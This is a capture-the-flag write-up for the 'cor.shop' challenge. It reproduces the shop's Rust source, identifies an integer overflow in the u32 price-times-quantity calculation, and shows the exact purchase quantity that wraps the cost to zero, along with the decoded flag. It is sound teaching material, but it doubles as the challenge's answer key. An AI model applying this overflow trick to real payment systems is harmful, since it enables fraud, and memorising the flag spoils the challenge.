Who even uses GUIs anymore? As FizzBuzz101 once said so perfectly: “I don't believe in GUI.” People are finally waking up — ordering coffee over SSH, trading bloated Electron editors for the elegance of Neovim.
At CoR, we couldn't be happier to support this movement. That's why we built a fun little shop you can access right from your terminal, where you can snag personal items from CoR members themselves!
nc ctfi.ng 31417
At first, we can find a menu and download its source code:
$ nc ctfi.ng 31417
=====================================
Welcome to cor.shop
=====================================
Commands:
list - show products
buy <id> <qty> - attempt to purchase
balance - show your balance
help - show this help
quit - disconnect
Balance: 0 corns
> list
ID | PRICE | NAME
----+-------+------------------------------
1 | 250000 | FizzBuzz101's tears
2 | 400000 | One Clubby hair
3 | 600000 | Day's Heap
4 | 0 | cor.shop's source code
> buy 4 1
Purchased 1 x cor.shop's source code for 0 corns.
use std::env;
use std::io::{self, BufRead, BufReader, Write};
#[derive(Clone, Copy)]
struct Item { id: u32, name: &'static str, price: u64 }
fn items() -> Vec<Item> { vec![
Item { id: 1, name: "FizzBuzz101's tears", price: 250_000 },
Item { id: 2, name: "One Clubby hair", price: 400_000 },
Item { id: 3, name: "Day's Heap", price: 600_000 },
Item { id: 4, name: "cor.shop's source code", price: 0}
]}
fn banner() -> &'static str { r#"=====================================
Welcome to cor.shop
=====================================
Commands:
list - show products
buy <id> <qty> - attempt to purchase
balance - show your balance
help - show this help
quit - disconnect
"# }
const SOURCE: &str = include_str!(concat!(env!("CARGO_MANIFEST_DIR"), "/", file!()));
fn shop<R: BufRead, W: Write>(mut reader: R, mut writer: W, heap: &str) {
let mut balance: u64 = 0;
let _ = writeln!(writer, "{}", banner());
let _ = writeln!(writer, "Balance: {} corns", balance);
loop {
// Print prompt
let _ = write!(writer, "> ");
let _ = writer.flush();
// Read user input
let mut line = String::new();
if reader.read_line(&mut line).unwrap_or(0) == 0 { break; }
let line = line.trim();
if line.is_empty() { continue; }
// Parse out the command
let mut parts = line.split_whitespace();
let cmd = parts.next().unwrap_or("");
match cmd {
"list" => {
// List table of our items
let _ = writeln!(writer, "{:<3} | {:>7} | {}", "ID", "PRICE", "NAME");
let _ = writeln!(writer, "----+-------+------------------------------");
for it in items() {
let _ = writeln!(writer, "{:<3} | {:>7} | {}", it.id, it.price, it.name);
}
}
"balance" => {
// Show the current balance in corns
let _ = writeln!(writer, "Balance: {} corns", balance);
}
"buy" => {
// Attempt to parse the id and quantity, else fall back to id 0 and qty 1.
let id: u32 = parts.next().and_then(|i| i.parse().ok()).unwrap_or(0);
let qty: u32 = parts.next().and_then(|q| q.parse().ok()).unwrap_or(1);
if qty == 0 {
// ???
let _ = writeln!(
writer,
"Thats not how buying stuff works.",
);
continue;
}
if let Some(item) = items().into_iter().find(|it| it.id == id) {
// Calculate the total cost of this purchase
let total: u64 = (item.price as u32 * qty) as u64;
if balance >= total {
// User can purchase, handle the purchase
balance = balance - total;
let _ = writeln!(
writer,
"Purchased {} x {} for {} corns.",
qty, item.name, total
);
// We need to take quantities into account sometime but its not like people got any corn.
if item.id == 1 {
let _ = writeln!(
writer,
"(╥﹏╥)",
);
} else if item.id == 2 {
let _ = writeln!(
writer,
"-ˋˏ✄┈┈┈┈",
);
} else if item.id == 3 {
let _ = writeln!(
writer,
"{}",
heap
);
} else if item.id == 4 {
let _ = writeln!(
writer,
"{}",
SOURCE
);
}
} else {
// User should seriously invest in some corns
let _ = writeln!(
writer,
"Insufficient balance. Need {}, have {}.",
total, balance
);
}
} else {
// I mean this is what we get for only having 3 products...
let _ = writeln!(writer, "Unknown item id. Try `list`.");
}
}
"help" => { let _ = writeln!(writer, "{}", banner()); }
"quit" | "exit" => { let _ = writeln!(writer, "bye!"); break; }
_ => { let _ = writeln!(writer, "Unknown command. Try `help`."); }
}
}
}
fn main() -> io::Result<()> {
let heap = env::var("HEAP").unwrap_or_else(|_| "Got some random garbage, are you running this on your own machine or something?".to_string());
let stdin = io::stdin();
let stdout = io::stdout();
let reader = BufReader::new(stdin.lock());
let writer = stdout.lock();
shop(reader, writer, &heap);
Ok(())
}
>
Reading the code, there is a integer overflow:
let total: u64 = (item.price as u32 * qty) as u64;
If we allow item.price as u32 * qty
to be a multiple of 2**32
, then we can buy it. The flag might be hidden in the heap item, so we find the quantity for it:
>>> math.lcm(2**32, 600000)//600000
67108864
Buy it using the computed quantity:
$ nc ctfi.ng 31417
=====================================
Welcome to cor.shop
=====================================
Commands:
list - show products
buy <id> <qty> - attempt to purchase
balance - show your balance
help - show this help
quit - disconnect
Balance: 0 corns
> buy 3 67108864
Purchased 67108864 x Day's Heap for 0 corns.
0x804b000: 0x00000000 0x00000069 0x63726f63 0x737b6674
0x804b010: 0x72707275 0x5f337331 0x5f737431 0x70617277
0x804b020: 0x5f643370 0x5f646e34 0x33337266 0x0000007d
0x804b030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b060: 0x00000000 0x00000000 0x00000068 0x00000069
0x804b070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0d0: 0x00000000 0x00020f31 0x00000000 0x00000000
0x804b0e0: 0x00000000 0x00000000 0x00000000 0x00000000
>
Decode the text in the hexdump:
>>> bytes.fromhex("636f726374667b73757270723173335f3174735f777261707033645f346e645f667233337d")
b'corctf{surpr1s3_1ts_wrapp3d_4nd_fr33}'